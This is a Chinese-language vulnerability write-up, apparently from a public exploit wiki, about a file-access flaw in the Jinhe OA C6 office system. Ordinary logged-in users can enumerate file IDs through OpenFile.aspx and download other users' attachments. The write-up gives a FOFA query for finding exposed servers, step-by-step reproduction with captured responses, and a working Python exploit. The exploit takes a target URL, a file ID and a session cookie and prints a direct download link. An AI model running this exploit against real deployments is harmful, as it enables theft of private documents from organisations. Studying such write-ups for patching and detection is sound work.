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    金和OA C6 后台越权敏感文件遍历漏洞.md
    7.13 KB / 2021-07-04 06:01:08
        # 金和OA C6 后台越权敏感文件遍历漏洞
    
    ## 漏洞描述
    
    金和OA C6 存在后台越权敏感文件遍历漏洞,普通用户通过遍历特殊参数可以获取其他用户上传的敏感文件
    
    ## 漏洞影响
    
    > [!NOTE]
    >
    > 金和OA C6
    
    ## FOFA
    
    >[!NOTE]
    >
    >app="Jinher-OA"
    
    ## 漏洞复现
    
    登录后点击信息交流,发起协同页面
    
    ![](http://wikioss.peiqi.tech/vuln/jh-5.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    上传附件并上传发送给目标
    
    > [!NOTE]
    >
    > 这里登录权限为管理员,我们自己发给自己就好,前文只是展现漏洞挖掘思路过程
    
    ![](http://wikioss.peiqi.tech/vuln/jh-6.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    成功收到上传的附件
    
    ![](http://wikioss.peiqi.tech/vuln/jh-7.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    点击查看时抓包,发现一个带有文件ID的请求包
    
    ![](http://wikioss.peiqi.tech/vuln/jh-8.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    返回了几个参数
    
    ```
    var strFilePath = '../Resource/slaves/1/8b473ecb-7b39-4384-ada2-b0ec72c4f6ed.png';
    var strFileType = 'png';
    var strSid='3jvpvhs410m2wdbbficax5q5';
    var strFileIDCode='us9w7xWE7do=';
    var strId = '1229';
    var strTxtReg = 'txt,ini,xml,config,htm,html,js,css,asp,aspx,jsp,cs,sql,inf,htc,log';
    var strImgReg = 'jpg,gif,jpeg,png,ico';
    var MD = '';
    ```
    
    其中我们注意到 strFilePath 为文件的存储地址,我们更改 id参数为另一个值,且测试后发现 name文件名参数无关紧要
    
    ![](http://wikioss.peiqi.tech/vuln/jh-9.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    更改ID后发送请求包发现获得另一个文件的信息
    
    访问Url,注意 **type参数 ** 需要为正确的文件后缀才可以访问
    
    ```
    http://xxx.xxx.xxx.xxx/C6/control/OpenFile.aspx?id=1200&name=&type=pdf
    ```
    
    ![](http://wikioss.peiqi.tech/vuln/jh-10.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    这里更换一个普通用户测试是否可行,尝试遍历 id
    
    ![](http://wikioss.peiqi.tech/vuln/jh-12.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    ![](http://wikioss.peiqi.tech/vuln/jh-11.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    存在 **strFilePath参数** 则是存在文件,为空则是文件已经不存在
    
    同时抓包下载文件页面也可以看到可获取的参数
    
    **FileID 与 FileIDCode**
    
    ![](http://wikioss.peiqi.tech/vuln/jh-13.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    于是只需要通过刚刚的ID遍历,获取两个关键参数就能下载其他人发送的敏感文件,且只需要普通用户权限
    
    ## 漏洞利用POC
    
    > [!NOTE]
    >
    > POC只检测是否存在漏洞,且漏洞存在于后台需要登录
    >
    > 运行后访问链接即可下载文件
    
    ```python
    import requests
    import sys
    import random
    import re
    import base64
    import time
    from requests.packages.urllib3.exceptions import InsecureRequestWarning
    
    def title():
        print('+------------------------------------------')
        print('+  \033[34mPOC_Des: http://wiki.peiqi.tech                                   \033[0m')
        print('+  \033[34mGithub : https://github.com/PeiQi0                                 \033[0m')
        print('+  \033[34m公众号  : PeiQi文库                                                   \033[0m')
        print('+  \033[34mVersion: 金和OA C6                                                  \033[0m')
        print('+  \033[36m使用格式:  python3 poc.py                                            \033[0m')
        print('+  \033[36mUrl         >>> http://xxx.xxx.xxx.xxx                             \033[0m')
        print('+------------------------------------------')
    
    def POC_1(target_url, file_id, cookie):
        vuln_url = target_url + "/C6/control/OpenFile.aspx?id={}&name=&type=pdf".format(file_id)
        headers = {
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
            "Content-Type": "application/x-www-form-urlencoded",
            "Cookie":cookie
        }
        try:
            requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
            response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)
            print("\033[36m[o] 正在请求 Url: {}\033[0m".format(vuln_url))
            if "strFilePath =" in response.text and response.status_code == 200:
                strFilePath = re.findall(r"var strFilePath = '(.*?)';", response.text)[0]
                strFileType = strFilePath[-3:]
                strFileIDCode = re.findall(r"var strFileIDCode='(.*?)';", response.text)[0]
                strId = re.findall(r"var strId = '(.*?)';", response.text)[0]
                sid = re.findall(r'ASP.NET_SessionId=(.*?);', cookie)[0]
                if strFilePath != "":
                    print("\033[36m[o] 目标 {} 存在漏洞, 获取文件信息:\n[o] 文件路径:{}\n[o] 文件类型:{}\n[o] 文件ID code:{}\n[o] 文件编号: {}\033[0m".format(target_url, strFilePath, strFileType,strFileIDCode, strId ))
                    print("\033[32m[o] 文件下载链接为: {}/C6/JHSoft.Web.CustomQuery/uploadFileDownLoad.aspx?Decrypt=&FileID={}&FileIDCode={}&sid={}".format(target_url, strId, strFileIDCode, sid))
                else:
                    print("\033[31m[x] 目标 {} 文件不存在     \033[0m".format(target_url))
            else:
                print("\033[31m[x] 目标 {} 不存在漏洞     \033[0m".format(target_url))
    
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
    
    
    if __name__ == '__main__':
        title()
        target_url = str(input("\033[35mPlease input Attack Url\nUrl >>> \033[0m"))
        file_id = str(input("\033[35mFile_id >>> \033[0m"))
        cookie = str(input("\033[35mCookie  >>> \033[0m"))
        POC_1(target_url, file_id, cookie)
    ```
    
    ![](http://wikioss.peiqi.tech/vuln/jh-14.png?x-oss-process=image/auto-orient,1/quality,q_90/watermark,image_c2h1aXlpbi9zdWkucG5nP3gtb3NzLXByb2Nlc3M9aW1hZ2UvcmVzaXplLFBfMTQvYnJpZ2h0LC0zOS9jb250cmFzdCwtNjQ,g_se,t_17,x_1,y_10)
    
    links
    file_download